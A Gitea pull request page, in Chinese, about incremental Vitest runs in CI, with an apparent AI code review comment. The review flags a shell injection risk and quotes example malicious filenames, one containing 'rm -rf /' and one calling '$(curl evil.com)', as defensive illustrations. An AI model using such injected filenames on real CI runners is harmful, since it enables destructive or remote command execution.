ci: Vitest增量执行,PR模式只跑改动文件相关的测试 #697

Merged
xiaoxia merged 2 commits from ci/vitest-incremental into develop 2026-07-22 08:45:22 +08:00
Owner

优化内容

前端单测Vitest增量执行,小PR单测时间预计从几分钟降到几十秒:

  1. PR模式增量执行:利用vitest --related自动跑与改动文件相关的测试用例
  2. 改动文件数阈值:超过30个文件自动降级为全量执行,确保大改动覆盖率
  3. 非PR模式全量执行:main/develop分支合并时仍然全量跑+覆盖率
  4. 无前端改动跳过:只改后端的PR直接跳过前端单测

性能收益

  • 小改动PR(1-5个文件):预计从3-5min → 10-30s
  • 中等改动PR(10-20个文件):预计从3-5min → 1-2min
  • 大改动PR(>30个文件):自动降级全量,无影响

文件变更

  • 新增 scripts/ci/vitest_incremental.sh:增量执行逻辑
  • 修改 .gitea/workflows/ci-pipeline.yml:frontend-unit-test调用增量脚本
### 优化内容 前端单测Vitest增量执行,小PR单测时间预计从几分钟降到几十秒: 1. **PR模式增量执行**:利用`vitest --related`自动跑与改动文件相关的测试用例 2. **改动文件数阈值**:超过30个文件自动降级为全量执行,确保大改动覆盖率 3. **非PR模式全量执行**:main/develop分支合并时仍然全量跑+覆盖率 4. **无前端改动跳过**:只改后端的PR直接跳过前端单测 ### 性能收益 - 小改动PR(1-5个文件):预计从3-5min → 10-30s - 中等改动PR(10-20个文件):预计从3-5min → 1-2min - 大改动PR(>30个文件):自动降级全量,无影响 ### 文件变更 - 新增 `scripts/ci/vitest_incremental.sh`:增量执行逻辑 - 修改 `.gitea/workflows/ci-pipeline.yml`:frontend-unit-test调用增量脚本
xiaoxia added 2 commits 2026-07-22 08:16:12 +08:00
ci: Vitest增量执行,PR模式只跑改动相关的测试
CI/CD Pipeline / PR Build API Image (pull_request) Successful in 3m52s
CI/CD Pipeline / PR Build Web Image (pull_request) Successful in 3m25s
CI/CD Pipeline / Build Staging API Image (pull_request) Has been skipped
CI/CD Pipeline / Build Staging Web Image (pull_request) Has been skipped
CI/CD Pipeline / Build Staging Worker Image (pull_request) Has been skipped
CI/CD Pipeline / Check if frontend-only change (pull_request) Successful in 17s
CI/CD Pipeline / Frontend Lint (pull_request) Successful in 41s
CI/CD Pipeline / PR Build Worker Image (pull_request) Successful in 3m44s
AI Code Review / AI Code Review (pull_request) Successful in 3m50s
Preview Deploy / Deploy Preview Environment (pull_request) Successful in 35s
CI/CD Pipeline / Build Production API Image (pull_request) Has been skipped
CI/CD Pipeline / Build Production Web Image (pull_request) Has been skipped
CI/CD Pipeline / Build Production Worker Image (pull_request) Has been skipped
CI/CD Pipeline / Deploy Staging (Watchtower auto-deploy) (pull_request) Has been skipped
CI/CD Pipeline / Deploy Production (pull_request) Has been skipped
CI/CD Pipeline / Staging E2E Tests (pull_request) Has been skipped
CI/CD Pipeline / Staging API Integration Tests (pull_request) Has been skipped
CI/CD Pipeline / ACR Image Cleanup (pull_request) Has been skipped
CI/CD Pipeline / Production Browser E2E (pull_request) Has been skipped
CI/CD Pipeline / Validate Code Quality And Tests (pull_request) Successful in 2m49s
CI/CD Pipeline / Frontend Unit Tests (pull_request) Has been skipped
CI/CD Pipeline / Unit Tests (pull_request) Successful in 2m43s
CI/CD Pipeline / Integration Tests (pull_request) Successful in 1m21s
PR Automation / Auto Approve on CI Green (pull_request) Successful in 21m57s
Preview Cleanup / Cleanup Preview Environment (pull_request) Successful in 18s
PR Automation / Auto Merge on CI Green + Approved (pull_request) Successful in 37m40s
839743babe
Collaborator

代码审查结果 - PR #697

⚠️ 问题(3个需要修改)

  1. scripts/ci/vitest_incremental.sh 第71行:存在Shell命令注入风险

    • 问题描述:变量 $CHANGED_FILES 未加引号直接传递给 npx 命令。由于文件名来源于外部API(PR改动文件),攻击者可创建包含恶意字符(如 ; rm -rf /$(curl evil.com))的文件名,导致在CI Runner上执行任意命令。
    • 修改建议:必须对变量加引号,如 npx ... --related "$CHANGED_FILES",或者更安全地使用数组存储文件列表。
  2. scripts/ci/vitest_incremental.sh 第71行:增量测试缺少覆盖率参数

    • 问题描述:全量测试(第16行)执行了 vitest run --coverage,但增量测试(第71行)只执行了 vitest run --related $CHANGED_FILES,缺少 --coverage 参数。这会导致PR构建无法生成覆盖率报告,若CI有覆盖率卡点会导致构建失败或数据缺失。
    • 修改建议:在增量测试命令中补上 --coverage 参数。
  3. scripts/ci/vitest_incremental.sh 第28-43行:API异常处理逻辑缺陷,可能导致漏测

    • 问题描述:当 curl 请求失败(如网络超时、认证失败)或返回非JSON数据时,Python脚本捕获异常并打印空字符串,导致 CHANGED_FILES 为空。脚本随后判断为空并 exit 0 跳过测试。这会掩盖API调用失败的事实,导致有代码改动却未执行任何测试直接通过CI。
    • 修改建议:API调用失败时应回退到全量测试策略,或者直接报错退出,不应静默跳过。

💡 建议(1个可选)

  1. scripts/ci/vitest_incremental.sh 第47行:文件名包含空格的处理
    • 具体内容:当前使用 wc -w 统计文件数量,如果文件名包含空格,统计结果会不准确。虽然后续逻辑(>30个文件全量跑)有一定容错性,但在增量模式下,文件名带空格会导致 vitest --related 参数解析错误。建议在Python脚本中输出文件数量,或者在Shell中更稳健地处理文件列表。

格式检查通过 | 逻辑审查需修改 | 性能无明显问题


🤖 由 AI 代码审查机器人自动生成 | 2026-07-22 08:24:32 | 模型:

## 代码审查结果 - PR #697 ### ⚠️ 问题(3个需要修改) 1. **scripts/ci/vitest_incremental.sh 第71行**:存在Shell命令注入风险 - 问题描述:变量 `$CHANGED_FILES` 未加引号直接传递给 `npx` 命令。由于文件名来源于外部API(PR改动文件),攻击者可创建包含恶意字符(如 `; rm -rf /` 或 `$(curl evil.com)`)的文件名,导致在CI Runner上执行任意命令。 - 修改建议:必须对变量加引号,如 `npx ... --related "$CHANGED_FILES"`,或者更安全地使用数组存储文件列表。 2. **scripts/ci/vitest_incremental.sh 第71行**:增量测试缺少覆盖率参数 - 问题描述:全量测试(第16行)执行了 `vitest run --coverage`,但增量测试(第71行)只执行了 `vitest run --related $CHANGED_FILES`,缺少 `--coverage` 参数。这会导致PR构建无法生成覆盖率报告,若CI有覆盖率卡点会导致构建失败或数据缺失。 - 修改建议:在增量测试命令中补上 `--coverage` 参数。 3. **scripts/ci/vitest_incremental.sh 第28-43行**:API异常处理逻辑缺陷,可能导致漏测 - 问题描述:当 `curl` 请求失败(如网络超时、认证失败)或返回非JSON数据时,Python脚本捕获异常并打印空字符串,导致 `CHANGED_FILES` 为空。脚本随后判断为空并 `exit 0` 跳过测试。这会掩盖API调用失败的事实,导致有代码改动却未执行任何测试直接通过CI。 - 修改建议:API调用失败时应回退到全量测试策略,或者直接报错退出,不应静默跳过。 ### 💡 建议(1个可选) 1. **scripts/ci/vitest_incremental.sh 第47行**:文件名包含空格的处理 - 具体内容:当前使用 `wc -w` 统计文件数量,如果文件名包含空格,统计结果会不准确。虽然后续逻辑(>30个文件全量跑)有一定容错性,但在增量模式下,文件名带空格会导致 `vitest --related` 参数解析错误。建议在Python脚本中输出文件数量,或者在Shell中更稳健地处理文件列表。 --- ✅ 格式检查通过 | ❌ 逻辑审查需修改 | ✅ 性能无明显问题 --- <sub>🤖 由 AI 代码审查机器人自动生成 | 2026-07-22 08:24:32 | 模型: </sub> <!-- AI_CODE_REVIEW_AUTO_COMMENT -->

🚀 预览环境已部署

项目 详情
PR号 #697
预览链接 https://pr-697.preview.xiaoxiajianji.com
API环境 staging

💡 预览环境使用 staging API 数据,请勿在预览环境中操作重要数据。

🔄 每次提交新代码后预览环境会自动更新。

🗑️ PR 关闭或合并后,预览环境会自动清理。

🚀 **预览环境已部署** | 项目 | 详情 | |------|------| | PR号 | #697 | | 预览链接 | [https://pr-697.preview.xiaoxiajianji.com](https://pr-697.preview.xiaoxiajianji.com) | | API环境 | staging | > 💡 预览环境使用 staging API 数据,请勿在预览环境中操作重要数据。 > > 🔄 每次提交新代码后预览环境会自动更新。 > > 🗑️ PR 关闭或合并后,预览环境会自动清理。
xiaoxia merged commit 524dbc002a into develop 2026-07-22 08:45:22 +08:00
xiaoxia deleted branch ci/vitest-incremental 2026-07-22 08:45:22 +08:00

🗑️ 预览环境已清理

PR #697 已关闭或合并,对应的预览环境已被清理。

如有需要,可以重新打开 PR 来重新生成预览环境。

🗑️ **预览环境已清理** PR #697 已关闭或合并,对应的预览环境已被清理。 > 如有需要,可以重新打开 PR 来重新生成预览环境。
Sign in to join this conversation.